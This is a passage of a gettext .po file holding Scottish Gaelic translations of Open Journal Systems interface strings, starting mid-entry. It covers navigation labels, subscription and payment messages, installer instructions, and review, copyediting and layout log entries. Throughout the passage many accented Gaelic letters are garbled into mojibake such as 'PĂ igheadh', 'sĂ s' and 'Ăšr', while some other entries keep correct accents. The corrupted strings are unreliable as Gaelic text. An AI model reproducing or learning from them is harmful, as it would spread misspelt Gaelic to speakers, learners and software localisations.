"Tagh modail airson na ceuman seo dhen phròiseas deasachaidh a làimhseachadh. "
"(Tadhail air “Deasaichean” ann an “Stiùireadh nan iris-leabhar” airson "
"deasaiche stiĂširidh agus deasaichean earrannan ainmeachadh.)"

msgid "admin.overwriteConfigFileInstructions"
msgstr ""
"<h4>AN AIRE!</h4>\n"
"<p>Cha b’ urrainn dhan t-siostam sgrìobhadh thairis air an fhaidhle "
"rèiteachaidh. Airson na h-atharraichean agad air an rèiteachadh a chur an "
"sĂ s, feumaidh tu <tt>config.inc.php</tt> fhosgladh ann an deasaiche teacsa "
"iomchaidh agus na tha san raon teacsa gu h-ĂŹosal a chur an Ă ite na susbaint "
"ann.</p>"

msgid "admin.auth.defaultSourceDescription"
msgstr ""
"<p>Ma shònraicheas tu tùs dearbhaidh bunaiteach eile seach OJS, bidh a’ "
"bhuaidh a leanas aige seo:</p>\n"
"<ul>\n"
"\t<li>Ma nĂŹ cleachdaiche oidhirp cunntas Ăšr a chruthachadh air an lĂ rach seo "
"le ainm-cleachdaiche a tha aig an tÚs dearbhaidh (ach chan ann aig stòr-dàta "
"OJS), cha tèid an oidhirp clàraidh a cheadachadh ach ma tha am facal-faire a "
"thugadh seachad dligheach airson a’ chunntais chleachdaiche ud.</li>\n"
"</ul>"

msgid "comments.authenticated"
msgstr ""
"a rèir <a href=\"{$publicProfileUrl}\" target=\"_parent\">{$userName}</a>"

msgid "subscriptions.institutionalOnlinePaymentDescription"
msgstr ""
"<strong>An aire:</strong> Feumaidh fo-sgrĂŹobhaidhean institiuide a chaidh a "
"cheannach air loidhne cead àrainne agus rainse nan IP mus tèid am fo-"
"sgrĂŹobhadh a chur an gnĂŹomh."

msgid "submission.round"
msgstr "Cuairt&nbsp;{$round}"

msgid "context.current"
msgstr "An t-iris-leabhar lĂ ithreach:"

msgid "context.select"
msgstr "GeĂ rr leum gu iris-leabhar eile:"

msgid "navigation.categories"
msgstr "Roinnean-seòrsa"

msgid "navigation.categories.browse"
msgstr "RĂšraich"

msgid "reviewer.article.enterReviewForm"
msgstr "Briog air an Ïomhaigheag gus am foirm lèirmheis a lÏonadh."

msgid "reviewer.submission.reviewFormResponse.form.responseRequired"
msgstr "LĂŹon na raointean air a bheil feum."

msgid "common.confirmComplete"
msgstr ""
"A bheil thu cinnteach gu bheil thu airson comharradh gun deach an t-saothair "
"seo a choileanadh? Dh’fhaoidte nach urrainn dhut dad atharrachadh às a "
"dhèidh sin."

msgid "common.payment"
msgstr "PĂ igheadh"

msgid "common.payments"
msgstr "PĂ ighidhean"

msgid "common.homePageHeader.altText"
msgstr "Bann-cinn na duilleige-dachaigh"

msgid "common.journalHomepageImage.altText"
msgstr "Dealbh duilleag-dhachaigh an iris-leabhair"

msgid "navigation.journalHelp"
msgstr "Cobhair an iris-leabhair"

msgid "navigation.current"
msgstr "An tè làithreach"

msgid "navigation.otherJournals"
msgstr "Leabhraichean-lĂ  eile"

msgid "navigation.browseByIssue"
msgstr "A rèir irise"

msgid "navigation.browseByAuthor"
msgstr "A rèir Úghdair"

msgid "navigation.infoForAuthors"
msgstr "Do dh’ùghdaran"

msgid "navigation.infoForLibrarians"
msgstr "Do leabhar-lannaichean"

msgid "navigation.competingInterestGuidelines"
msgstr "StiÚireadh mu chòmhstri Úidhean"

msgid "navigation.infoForAuthors.long"
msgstr "Fiosrachadh do dh’ùghdaran"

msgid "navigation.infoForLibrarians.long"
msgstr "Fiosrachadh do leabhar-lannaichean"

msgid "navigation.skip.about"
msgstr "Leum chun an fhiosrachaidh mun iris-leabhar"

msgid "navigation.skip.issue"
msgstr "Leum chun na h-irise lĂ ithreach"

msgid "common.queue.long.submissionsUnassigned"
msgstr "Gun iomruineadh"

msgid "common.queue.short.submissionsUnassigned"
msgstr "Gun iomruineadh"

msgid "common.queue.long.submissionsInEditing"
msgstr "Tagraidhean fo dheasachadh"

msgid "common.queue.short.submissionsInEditing"
msgstr "Fo dheasachadh"

msgid "common.queue.long.submissionsInReview"
msgstr "Tagraidhean fo lèirmheas"

msgid "common.queue.short.submissionsInReview"
msgstr "Fo lèirmheas"

msgid "common.queue.long.submissionsArchives"
msgstr "Tasg-lannan"

msgid "common.queue.short.submissionsArchives"
msgstr "Tasg-lannan"

msgid "common.queue.long.active"
msgstr "GnĂŹomhach"

msgid "common.queue.short.active"
msgstr "GnĂŹomhach"

msgid "common.queue.long.completed"
msgstr "Tasg-lann"

msgid "common.queue.short.completed"
msgstr "Tasg-lann"

msgid "submissionGroup.assignedSubEditors"
msgstr "Deasaichean iomruinte"

msgid "section.section"
msgstr "Earrann"

msgid "section.sections"
msgstr "Earrannan"

msgid "section.title"
msgstr "Tiotal na h-earrainn"

msgid "section.abbreviation"
msgstr "Giorrachadh"

msgid "section.abbreviation.example"
msgstr "(Mar eisimpleir, Artaigealan=ART)"

msgid "submission.event.copyedit.copyeditSetFile"
msgstr "Chaidh faidhle a’ ghrinn-deasachaidh ùrachadh"

msgid "submission.event.proofread.proofreaderAssigned"
msgstr "Chaidh dearbh-leughadair iomruineadh dhan tagradh"

msgid "submission.event.proofread.proofreaderUnassigned"
msgstr "Chaidh an dearbh-leughadair a thoirt air falbh on tagradh"

msgid "submission.event.proofread.proofreadInitiated"
msgstr "Thòiseachadh air an obair dearbh-leughaidh"

msgid "submission.event.proofread.proofreadRevision"
msgstr "Chaidh faidhle lèirmheasan an dearbh-leughadair Úrachadh"

msgid "submission.event.proofread.proofreadCompleted"
msgstr "Chaidh an obair dearbh-leughaidh a choileanadh"

msgid "submission.event.layout.layoutEditorAssigned"
msgstr "Chaidh deasaiche co-dhealbhachd iomruineadh dhan tagradh"

msgid "submission.event.layout.layoutEditorUnassigned"
msgstr "Chaidh deasaiche na co-dhealbhachd a thoirt air falbh on tagradh"

msgid "submission.event.layout.layoutInitiated"
msgstr "Thòiseachadh air an obair cho-dhealbhachd"

msgid "submission.event.layout.layoutGalleyCreated"
msgstr "Chaidh mòr-dhuilleag na co-dhealbhachd Úrachadh"

msgid "submission.event.layout.layoutComplete"
msgstr "Chaidh an obair co-dhealbhachd a choileanadh"

msgid "reader.subscribersOnly"
msgstr "Fo-sgrĂŹobhaichean a-mhĂ in"

msgid "reader.subscriptionRequiredLoginText"
msgstr ""
"Feumaidh tu fo-sgrĂŹobhadh mus fhaigh thu cothrom air an nĂŹ seo. ClĂ raich a-"
"steach dhan iris-leabhar gus am fo-sgrĂŹobhadh a dhearbhadh."

msgid "reader.openAccess"
msgstr "Inntrigeadh fosgailte"

msgid "reader.subscriptionAccess"
msgstr "Feumaidh seo fo-sgrĂŹobhadh"

msgid "reader.subscriptionOrFeeAccess"
msgstr "Feumaidh seo fo-sgrĂŹobhadh no tĂ ille"

msgid "comments.commentsOnArticle"
msgstr "Beachdan air an artaigeal seo"

msgid "search.results.orderBy"
msgstr "Cuir na toraidhean air dòigh a rèir"

msgid "search.results.orderBy.article"
msgstr "Tiotal an artaigil"

msgid "search.results.orderBy.author"
msgstr "Ùghdar"

msgid "search.results.orderBy.date"
msgstr "Ceann-lĂ  an fhoillseachaidh"

msgid "search.results.orderBy.issue"
msgstr "Iris"

msgid "search.results.orderBy.journal"
msgstr "Tiotal an iris-leabhair"

msgid "search.results.orderBy.popularityAll"
msgstr "Fèillmhorachd (a-riamh)"

msgid "search.results.orderBy.popularityMonth"
msgstr "Fèillmhorachd (am mÏos seo chaidh)"

msgid "search.results.orderBy.relevance"
msgstr "Buntainneas"

msgid "search.results.orderDir.asc"
msgstr "A’ dìreadh"

msgid "search.results.orderDir.desc"
msgstr "A’ teàrnadh"

msgid "search.results.similarDocuments"
msgstr "sgrĂŹobhainnean coltach ris"

msgid "subscriptionManager.subscriptionManagement"
msgstr "StiĂšireadh nam fo-sgrĂŹobhadh"

msgid "search.authorDetails"
msgstr "Mion-fhiosrachadh mun Ăšghdar"

msgid "article.pageTitle"
msgstr "A’ coimhead air {$title}"

msgid "article.pdf.title"
msgstr "Portable Document Format (PDF)"

msgid "article.download"
msgstr "Luchdaich a-nuas am faidhle PDF seo"

msgid "article.nonpdf.title"
msgstr "Luchdadh a-nuas an artaigil"

msgid "site.journalsHosted"
msgstr "Iris-leabhraichean air òstaireachd na làraich seo"

msgid "site.journalView"
msgstr "Seall an t-iris-leabhar"

msgid "site.journalRegister"
msgstr "ClĂ raich"

msgid "site.journalCurrent"
msgstr "An iris lĂ ithreach"

msgid "site.noJournals"
msgstr "Chan eil iris-leabhraichean ri fhaighinn."

msgid "current.current"
msgstr "An tè làithreach"

msgid "current.noCurrentIssue"
msgstr "Chan eil iris lĂ ithreach ann"

msgid "current.noCurrentIssueDesc"
msgstr "Cha do dh’fhoillsich an t-iris-leabhar seo iris sam bith gu ruige seo."

msgid "archive.archives"
msgstr "Na tasg-lannan"

msgid "archive.archivesPageNumber"
msgstr "Na tasg-lannan – Duilleag {$pageNumber}"

msgid "archive.browse"
msgstr "RĂšraich na seann irisean"

msgid "archive.issueUnavailable"
msgstr "Chan eil an iris seo ri lĂ imh"

msgid "about.statistics"
msgstr "Stats"

msgid "about.contact"
msgstr "Fiosrachadh conaltraidh"

msgid "about.aboutContext"
msgstr "Mun iris-leabhar"

msgid "about.history"
msgstr "Eachdraidh an iris-leabhair"

msgid "about.editorialTeam"
msgstr "An sgioba deasachaidh"

msgid "about.editorialTeam.biography"
msgstr "Beatha-eachdraidh"

msgid "about.editorialPolicies"
msgstr "Poileasaidhean deasachaidh"

msgid "about.focusAndScope"
msgstr "Fòcas is sgòp"

msgid "about.sectionPolicies"
msgstr "Poileasaidhean nan earrannan"

msgid "about.submissions"
msgstr "Tagraidhean"

msgid "about.onlineSubmissions.login"
msgstr "ClĂ raich a-steach"

msgid "about.onlineSubmissions.register"
msgstr "ClĂ raich"

msgid "about.onlineSubmissions.registrationRequired"
msgstr "{$login} no {$register} a dhèanamh tagradh."

msgid "about.onlineSubmissions.submissionActions"
msgstr "{$newSubmission} no {$viewSubmissions}."

msgid "about.onlineSubmissions.newSubmission"
msgstr "Dèan tagradh Úr"

msgid "about.onlineSubmissions.viewSubmissions"
msgstr "coimhead air na tagraidhean agad a tha ri dhèiligeadh"

msgid "about.delayedOpenAccessDescription1"
msgstr "Bidh inntrigeadh fosgailte do shusbaint an iris-leabhair seo"

msgid "about.delayedOpenAccessDescription2"
msgstr "mìos(an) an dèidh foillseachadh de dh’iris."

msgid "about.archiving"
msgstr "Tasglannadh"

msgid "about.subscriptions"
msgstr "Fo-sgrĂŹobhaidhean"

msgid "about.subscriptions.individual"
msgstr "Fo-sgrĂŹobhaidhean daoine fa leth"

msgid "about.subscriptions.institutional"
msgstr "Fo-sgrĂŹobhaidhean institiuide"

msgid "about.subscriptionsContact"
msgstr "Neach-conaltraidh nam fo-sgrĂŹobhadh"

msgid "about.subscriptionTypes.name"
msgstr "Ainm"

msgid "about.subscriptionTypes.format"
msgstr "Fòrmat"

msgid "about.subscriptionTypes.duration"
msgstr "Faid"

msgid "about.subscriptionTypes.cost"
msgstr "Cosgais"

msgid "about.availableSubscriptionTypes"
msgstr "Seòrsaichean de dh’fho-sgrìobhaidhean"

msgid "about.memberships"
msgstr "Ballrachdan"

msgid "about.aboutThisPublishingSystem"
msgstr ""
"Barrachd fiosrachaidh mu na siostaman foillseachaidh, mun Ăšrlar agus sruth-"
"obrach le OJS/PKP."

msgid "about.aboutThisPublishingSystem.altText"
msgstr "Pròiseas foillseachadh is deasachadh OJS"

msgid "help.ojsHelp"
msgstr "Cobhair Open Journal Systems"

msgid "help.ojsHelpAbbrev"
msgstr "Cobhair OJS"

msgid "help.searchReturnResults"
msgstr "Till gu toraidhean an luirg"

msgid "help.goToEditPage"
msgstr "Deasaich {$sectionTitle}"

msgid "donations.thankYou"
msgstr "Mòran taing"

msgid "donations.thankYouMessage"
msgstr "Mòran taing airson taic a chumail rinn.  Tha sinn fada nad chomain."

msgid "payment.loginRequired"
msgstr ""
"Feumaidh tu a bhith clĂ raichte a-staigh mus urrainn dhut pĂ igheadh a "
"dhèanamh."

msgid "payment.loginRequired.forArticle"
msgstr ""
"Feumaidh tu artaigeal a cheannach no fo-sgrĂŹobhadh a bhith agad mus fhaigh "
"thu cothrom air an nì seo. A dhearbhadh gu bheil fo-sgrìobhadh agad, a dh’"
"fhaighinn cothrom air na cheannaich no roimhe no airson artaigeal a "
"cheannach, clĂ raich a-steach dhan iris-leabhar."

msgid "payment.loginRequired.forIssue"
msgstr ""
"Feumaidh tu iris a cheannach no fo-sgrĂŹobhadh a bhith agad mus fhaigh thu "
"cothrom air an nì seo. A dhearbhadh gu bheil fo-sgrìobhadh agad, a dh’"
"fhaighinn cothrom air na cheannaich no roimhe no airson iris a cheannach, "
"clĂ raich a-steach dhan iris-leabhar."

msgid "payment.loginRequired.forDonation"
msgstr ""
"Feumaidh tu a bhith clĂ raichte a-staigh mus urrainn dhut tabhartas a thoirt."

msgid "payment.paid"
msgstr "Air a phĂ igheadh"

msgid "payment.payNow"
msgstr "PĂ igh an-drĂ sta"

msgid "payment.waive"
msgstr "Leig seachad"

msgid "payment.alreadyPaid"
msgstr "Air a phĂ igheadh mu thrĂ th"

msgid "payment.alreadyPaidMessage"
msgstr ""
"Cuir cromag sa bhogsa seo ma phĂ igh thu an t-iris-leabhar mu thrĂ th airson "
"pròiseas an tagraidh a choileanadh.  Cha dèanar lèirmheas air an tagradh gus "
"an ruig am pàigheadh.  Briog air “Pàigh an-dràsta” gu h-àrd is gheibh thu "
"stiÚireadh mu na dòighean air am pàigh thu air a shon."

msgid "payment.paymentReceived"
msgstr "Fhuaras am pĂ igheadh"

msgid "payment.paymentSent"
msgstr "Chaidh a phĂ igheadh mu thrĂ th"

msgid "payment.authorFees"
msgstr "TĂ illean Ăšghdair"

msgid "payment.type.submission"
msgstr "TĂ ille tagraidh"

msgid "payment.type.publication"
msgstr "TĂ ille foillseachaidh"

msgid "payment.type.publication.required"
msgstr "Tha an tĂ ille foillseachaidh ri phĂ igheadh."

msgid "payment.type.fastTrack"
msgstr "Tàille airson grad-lèirmheas"

msgid "payment.type.membership"
msgstr "TĂ ille ballrachd neach fa leth"

msgid "payment.type.purchaseArticle"
msgstr "TĂ ille airson artaigeal a cheannach"

msgid "payment.type.purchaseIssue"
msgstr "TĂ ille airson iris a cheannach"

msgid "payment.type.subscription"
msgstr "TĂ ille fo-sgrĂŹobhaidh"

msgid "payment.type.donation"
msgstr "Tabhartasan"

msgid "payment.requestPublicationFee"
msgstr "Iarr tĂ ille foillseachaidh ({$feeAmount})"

msgid "payment.notFound"
msgstr ""
"Chaidh pàigheadh iarraidh ach dh’fhalbh an ùine air an iarrtas. Cuir fios gu "
"manaidsear an iris-leabhair airson mion-fhiosrachadh."

msgid "payment.donation.makeDonation"
msgstr "Thoir tabhartas"

msgid "payment.submission.paySubmission"
msgstr "PĂ igh tĂ ille tagraidh"

msgid "payment.publication.payPublication"
msgstr "PĂ igh airson foillseachadh"

msgid "payment.publication.publicationPaid"
msgstr "TĂ ille foillseachaidh air a phĂ igheadh"

msgid "payment.membership.buyMembership"
msgstr "Ceannaich ballrachd neach fa leth"

msgid "payment.membership.renewMembership"
msgstr "Ath-nuadhaich a’ bhallrachd neach fa leth"

msgid "payment.membership.ends"
msgstr "A’ crìochnachadh"

msgid "payment.subscription.purchase"
msgstr "Ceannaich fo-sgrĂŹobhaidh"

msgid "payment.subscription.renew"
msgstr "Ath-nuadhaich am fo-sgrĂŹobhadh"

msgid "payment.subscription.expires"
msgstr "Falbhaidh an Ăšine air"

msgid "installer.appInstallation"
msgstr "StĂ ladh OJS"

msgid "installer.ojsUpgrade"
msgstr "Àrdachadh OJS"

msgid "installer.localeInstructions"
msgstr ""
"Am prĂŹomh-chĂ nan a chleachdas an siostam seo. Thoir sĂšil air an stiĂšireadh "
"airson OJS ma tha cĂ nan a dhĂŹth ort nach fhaic thu an-seo."

msgid "installer.additionalLocalesInstructions"
msgstr ""
"Tagh na cànain eile a thèid a chleachdadh san t-siostam seo. Bidh na cànain "
"seo ri làimh iris-leabhraichean aig am bi air òstaireachd air an làrach. "
"Gabhaidh cĂ nain a stĂ ladh o eadar-aghaidh rianachd na lĂ raich uair sam bith "
"cuideachd."

msgid "installer.databaseSettingsInstructions"
msgstr ""
"Feumaidh OJS cothrom air stòr-dàta SQL far an cÚm e an dàta aige. Faic "
"riatanasan an t-siostaim gu h-àrd airson liosta nan stòr-dàta ris a bheil "
"taic. Cuir na roghainnean a thèid a chleachdadh airson ceangal a dhèanamh "
"ris an stòr-dàta sna raointean gu h-Ïosal."

msgid "installer.installApplication"
msgstr "StĂ laich Open Journal Systems"

msgid "installer.upgradeApplication"
msgstr "Àrdaich Open Journal Systems"

msgid "log.author.documentRevised"
msgstr ""
"Rinn {$authorName} lèirmheas air an artaigeal {$submissionId}. ’S e {$fileId}"
" ID Ăšr an fhaidhle."

msgid "log.review.reviewerUnassigned"
msgstr ""
"Chaidh {$reviewerName} a thoirt air falbh o lèirmheas an tagraidh "
"{$submissionId} mu choinneamh cuairt {$round} dhen lèirmheas."

msgid "log.review.reviewInitiated"
msgstr ""
"Thòiseachadh air lèirmheas cuairt {$round} le {$reviewerName} mu choinneamh "
"an tagraidh {$submissionId}."

msgid "log.review.reviewerRated"
msgstr ""
"Chaidh {$userName} a rangachadh a thaobh cuairt {$round} dhen tagradh "
"{$submissionId}."

msgid "log.review.reviewDueDateSet"
msgstr ""
"Chaidh {$dueDate} a shuidheachadh le {$reviewerName} mar cheann-lĂ  "
"lÏbhrigidh airson lèirmheas cuairt {$round} dhen tagradh {$submissionId}."

msgid "log.review.reviewRecommendationSet"
msgstr ""
"Chaidh am moladh airson lèirmheas cuairt {$round} dhen tagradh "
"{$submissionId} le {$reviewerName} a shuidheachadh."

msgid "log.review.reviewRecommendationSetByProxy"
msgstr ""
"Chaidh am moladh airson cuairt {$round} dhen tagradh {$submissionId} a "
"shuidheachadh leis an deasaiche, {$editorName}, às leth an lèirmheasaiche, "
"{$reviewerName}."

msgid "log.review.resubmit"
msgstr "Chaidh an tagradh {$submissionId} a chur airson ath-lèirmheas."

msgid "log.review.reviewDeclined"
msgstr ""
"DhiÚlt {$userName} lèirmheas cuairt {$round} mu choinneamh tagradh "
"{$submissionId}."

msgid "log.review.reviewAccepted"
msgstr ""
"Ghabh {$reviewerName} ri lèirmheas cuairt {$round} mu choinneamh tagraidh "
"{$submissionId}."

msgid "log.review.reviewDeclinedByProxy"
msgstr ""
"DhiÚlt {$userName} lèirmheas cuairt {$round} mu choinneamh tagradh "
"{$submissionId} Ă s leth {$reviewerName}."

msgid "log.review.reviewAcceptedByProxy"
msgstr ""
"Ghabh {$userName} ri lèirmheas cuairt {$round} mu choinneamh tagradh "
"{$submissionId} Ă s leth {$reviewerName}."

msgid "log.review.reviewFileByProxy"
msgstr ""
"Luchdaich an deasaiche, {$userName}, suas faidhle lèirmheis airson cuairt "
"{$round} dhen tagradh {$submissionId} às leth an lèirmheasaiche, "
"{$reviewerName}."

msgid "log.review.reviewerFile"
msgstr "Chaidh faidhle lèirmheasaiche a luchdadh suas."

msgid "log.editor.decision"
msgstr ""
"Chaidh co-dhĂšnadh le deasaiche ({$decision}) mu choinneamh an artaigil "
"{$submissionId} a chlĂ radh le {$editorName}."

msgid "log.editor.recommendation"
msgstr ""
"Chaidh moladh le deasaiche ({$decision}) mu choinneamh an artaigil "
"{$submissionId} a chlĂ radh le {$editorName}."

msgid "log.copyedit.initiate"
msgstr ""
"Thòisich {$copyeditorName} air grinn-deasachadh an tagraidh {$submissionId}."

msgid "log.copyedit.copyeditFileSet"
msgstr "Chaidh faidhle bunaiteach a’ ghrinn-deasachaidh a thaghadh."

msgid "log.copyedit.initialEditComplete"
msgstr ""
"Choilean {$copyeditorName} an grinn-deasachadh tòiseachail dhen tagradh "
"{$submissionId}."

msgid "log.copyedit.finalEditComplete"
msgstr ""
"Choilean {$copyeditorName} an grinn-deasachadh deireannach dhen tagradh "
"{$submissionId}."

msgid "log.copyedit.copyeditorAssigned"
msgstr ""
"Chaidh {$copyeditorName} iomruineadh dhan tagradh {$submissionId} mar ghrinn-"
"deasaiche."

msgid "log.copyedit.copyeditorFile"
msgstr ""
"Chaidh tionndadh grinn-deasaiche de dh’fhaidhle an tagraidh a luchdadh suas."

msgid "log.copyedit.authorFile"
msgstr ""
"Chaidh tionndadh de dh’fhaidhle an tagraidh a ghrinn-deasaich an t-ùghdar a "
"luchdadh suas."

msgid "log.layout.layoutEditorAssigned"
msgstr ""
"Chaidh {$editorName} iomruineadh dhan tagradh {$submissionId} mar dheasaiche "
"na co-dhealbhachd."

msgid "log.layout.layoutEditorUnassigned"
msgstr ""
"Chaidh {$editorName} a thoirt air falbh on tagradh {$submissionId} mar "
"dheasaiche na co-dhealbhachd."

msgid "log.layout.layoutEditComplete"
msgstr ""
"Choilean {$editorName} deasachadh na co-dhealbhachd san tagradh "
"{$submissionId}."

msgid "log.editor.metadataModified"
msgstr "Chaidh meata-dĂ ta an artaigil seo atharrachadh le {$editorName}."

msgid "log.editor.editorFile"
msgstr "Chaidh tionndadh deasaiche de dh’fhaidhle an tagraidh a luchdadh suas."

msgid "log.editor.archived"
msgstr "Chaidh an tagradh {$submissionId} a chur dhan tasg-lann."

msgid "log.editor.restored"
msgstr "Chaidh an tagradh {$submissionId} aiseag dhan chiutha."

msgid "log.editor.editorAssigned"
msgstr ""
"Chaidh {$editorName} iomruineadh dhan tagradh {$submissionId} mar dheasaiche."

msgid "log.proofread.assign"
msgstr ""
"Dh’iomruin {$assignerName} {$proofreaderName} airson dearbh-leughadh a "
"dhèanamh air an tagradh {$submissionId}."

msgid "log.proofread.complete"
msgstr "Chuir {$proofreaderName} {$submissionId} airson sgeidealachadh."

msgid "log.imported"
msgstr "Thug {$userName} a-steach an t-artaigeal {$submissionId}."

msgid "metadata.pkp.peerReviewed"
msgstr "Artaigeal air a lèirmheas le seise"

msgid "notification.type.editing"
msgstr "Tachartasan deasachaidh"

msgid "notification.type.submissionSubmitted"
msgstr "Chaidh artaigeal ùr, “{$title}”, a chur."

msgid "notification.type.editorDecisionComment"
msgstr ""
"Chaidh beachd a thoirt seachad air co-dhĂšnadh an deasaiche mu choinneamh "
"“{$title}.”"

msgid "notification.type.issuePublished"
msgstr "Chaidh iris fhoillseachadh."

msgid "notification.type.newAnnouncement"
msgstr "Chaidh fios-naidheachd Ăšr a chruthachadh."

msgid "notification.type.reviewerFormComment"
msgstr "Chaidh lèirmheas air foirm lèirmheis a chur mu choinneamh “{$title}.”"

msgid "notification.type.reviewing"
msgstr "Lèirmheasadh thachartasan"

msgid "notification.type.site"
msgstr "Tachartasan na lĂ raich"

msgid "notification.type.submissionComment"
msgstr "Thug deasaiche seachad beachd air “{$title}.”"

msgid "notification.type.submissions"
msgstr "Tachartas tagraidh"

msgid "notification.type.userComment"
msgstr "Thug leughadair seachad beachd air “{$title}”"

msgid "notification.type.public"
msgstr "Fiosan-naidheachd poblach"

msgid "notification.savedIssueMetadata"
msgstr "Chaidh meata-dĂ ta foillseachadh na h-irise a shĂ bhaladh."

msgid "notification.type.editorAssignmentTask"
msgstr "Chaidh artaigeal Ăšr a chur agus tha e feumach air deasaiche."

msgid "notification.type.assignProductionUser"
msgstr ""
"Tagh cleachdaiche airson mòr-dhuilleagan a chruthachadh leis a’ cheangal "
"“Iomruin” ann an liosta nan com-pàirtichean."

msgid "notification.type.awaitingRepresentations"
msgstr "A’ feitheamh ris na mòr-dhuilleagan."

msgid "user.authorization.copyeditorAssignmentMissing"
msgstr ""
"Chaidh inntrigeadh a dhiùltadh! Cha deach d’ iomruineadh mar ghrinn-"
"deasaiche an artaigil seo."

msgid "user.authorization.noContext"
msgstr "Chan eil iris-leabhar sa cho-theacsa!"

msgid "user.authorization.sectionAssignment"
msgstr ""
"Tha thu a’ feuchainn ri cothrom fhaighinn air artaigeal nach eil na phàirt "
"dhen earrann agad-sa."

msgid "user.authorization.invalidIssue"
msgstr "Chaidh iris mhĂŹ-dhligheach iarraidh!"

msgid "user.authorization.invalidCopyditorSubmission"
msgstr ""
"Bha tagradh a’ ghrinn-deasaiche mì-dhligheach no cha deach tagradh grinn-"
"deasaiche iarraidh!"

msgid "debug.notes.currencyListLoad"
msgstr "Chaidh liosta nan airgeadra “{$filename}” on XML"

msgid "grid.action.createContext"
msgstr "Cruthaich iris-leabhar Ăšr"

msgid "section.policy"
msgstr "Poileasaidh na h-earrainn"

msgid "article.article"
msgstr "Artaigeal"

msgid "article.articles"
msgstr "Artaigealan"

msgid "common.publication"
msgstr "Artaigeal"

msgid "common.publications"
msgstr "Artaigealan"

msgid "article.submissionId"
msgstr "ID an tagraidh"

msgid "article.title"
msgstr "Tiotal"

msgid "article.authors"
msgstr "Ùghdaran"

msgid "article.indexingInformation"
msgstr "Fiosrachadh inneacsaidh"

msgid "article.metadata"
msgstr "Meata-dĂ ta"

msgid "article.journalSection"
msgstr "Earrann na h-irise"

msgid "article.file"
msgstr "Faidhle"

msgid "article.suppFile"
msgstr "Faidhle foirlionaidh"

msgid "article.suppFiles"
msgstr "Faidhlichean foirlionaidh"

msgid "article.suppFilesAbbrev"
msgstr "Faidhlichean foirlionaidh"

msgid "article.discipline"
msgstr "Diosaplain is fo-dhiosaplainean acadaimigeach"

msgid "article.subject"
msgstr "Faclan-luirg"

msgid "article.coverage"
msgstr "Tuairisgeulachadh"

msgid "article.type"
msgstr "Seòrsa, dòigh no dòigh-obrach"

msgid "article.language"
msgstr "CĂ nan"

msgid "article.sectionEditor"
msgstr "SE"

msgid "article.commentsToEditor"
msgstr "Beachdan an Ăšghdair"

msgid "article.submission"
msgstr "Tagradh"

msgid "article.submissions"
msgstr "Tagraidhean"

msgid "article.details"
msgstr "Mion-fhiosrachadh"

msgid "article.abstract"
msgstr "GeĂ rr-chunntas"

msgid "article.coverPage.altText"
msgstr "Dealbh a’ chòmhdachaidh"

msgid "article.accessLogoOpen.altText"
msgstr "Inntrigeadh fosgailte"

msgid "article.accessLogoRestricted.altText"
msgstr "Inntrigeadh cuingichte"

msgid "article.comments.sectionDefault"
msgstr "Bun-roghainn"

msgid "article.comments.disable"
msgstr "Cuir Ă  comas"

msgid "article.comments.enable"
msgstr "Cuir an comas"

msgid "article.fontSize"
msgstr "Meud a’ chrutha-chlò"

msgid "article.fontSize.small.altText"
msgstr "Beag"

msgid "article.fontSize.medium.altText"
msgstr "Meadhanach"

msgid "article.fontSize.large.altText"
msgstr "Mòr"

msgid "article.return"
msgstr "Till gu mion-fhiosrachadh an artaigil"

msgid "submission.submissionEditing"
msgstr "Deasachadh an tagraidh"

msgid "submission.changeSection"
msgstr "Atharraich gu"

msgid "submission.sent"
msgstr "Air a chur"

msgid "submission.editorDecision"
msgstr "Co-dhĂšnadh deasaiche"

msgid "submission.editorReview"
msgstr "Lèirmheas an deasaiche"

msgid "submission.notifyAuthor"
msgstr "Cuir fios chun an Ăšghdair"

msgid "submission.notifyEditor"
msgstr "Cuir fios chun an deasaiche"

msgid "submission.editorAuthorRecord"
msgstr "ClĂ r post-d an deasaiche/Ăšghdair"

msgid "submission.reviewersVersion"
msgstr "An tionndadh dhen fhaidhle le nòtaichean an lèirmheasaiche"

msgid "submission.postReviewVersion"
msgstr "An tionndadh dhen fhaidhle a tha an dèidh lèirmheis"

msgid "submission.editorVersion"
msgstr "Tionndadh an deasaiche"

msgid "submission.authorsRevisedVersion"
msgstr "An tionndadh dhen fhaidhle a rinn an t-Úghdar lèirmheas air"

msgid "submission.authorVersion"
msgstr "Tionndadh an Ăšghdair"

msgid "submission.copyediting"
msgstr "Grinn-deasachadh"

msgid "submission.copyedit"
msgstr "Grinn-deasachadh"

msgid "submission.proofreading"
msgstr "Dearbh-leughadh"

msgid "submission.scheduling"
msgstr "Sgeidealan"

msgid "submission.scheduledIn"
msgstr "Gu bhith fhoillseachadh ann an {$issueName}."

msgid "submission.scheduledIn.tba"
msgstr "(TBA)"

msgid "submissions.step1"
msgstr "Ceum 1"

msgid "submissions.step3"
msgstr "Ceum 3"

msgid "submissions.queuedReview"
msgstr "Fo lèirmheas"

msgid "submissions.published"
msgstr "Foillsichte"

msgid "submissions.initial"
msgstr "Tòiseachail"

msgid "submissions.proofread"
msgstr "Air a dhearbh-leughadh"

msgid "submissions.initialProof"
msgstr "Dearbhadh tòiseachail"

msgid "submissions.postAuthor"
msgstr "An dèidh an Úghdair"

msgid "submissions.reviewRound"
msgstr "A’ chuairt lèirmheis"

msgid "submissions.proof"
msgstr "Dearbhadh"

msgid "submissions.editorDecision"
msgstr "Co-dhĂšnadh deasaiche"

msgid "submissions.editorRuling"
msgstr "Riaghladh deasaiche"

msgid "submission.eventLog"
msgstr "Loga nan tachartas"

msgid "submissions.copyeditComplete"
msgstr "Air a ghrinn-deasachadh"

msgid "submissions.layoutComplete"
msgstr "Co-dhealbhachd air a dheasachadh"

msgid "submissions.proofreadingComplete"
msgstr "Air a dhearbh-leughadh"

msgid "submission.search"
msgstr "Lorg artaigeal"

msgid "journal.currentIssue"
msgstr "An iris lĂ ithreach"

msgid "context.contexts"
msgstr "Iris-leabhraichean"

msgid "journal.path"
msgstr "Slighe"

msgid "context.context"
msgstr "Iris-leabhar"

msgid "journal.issn"
msgstr "ISSN"

msgid "journal.viewAllIssues"
msgstr "Seall a h-uile iris"

msgid "user.noRoles.selectUsersWithoutRoles"
msgstr "Gabh a-staigh cleachdaichean aig nach eil dreuchd san iris-leabhar seo."

msgid "user.profile.profileImage"
msgstr "Dealbh na pròifil"

msgid "user.showAllJournals"
msgstr "Seall na h-iris-leabhraichean agam"

msgid "user.registerForOtherJournals"
msgstr "ClĂ raich airson iris-leabhraichean eile"

msgid "user.reviewerPrompt"
msgstr ""
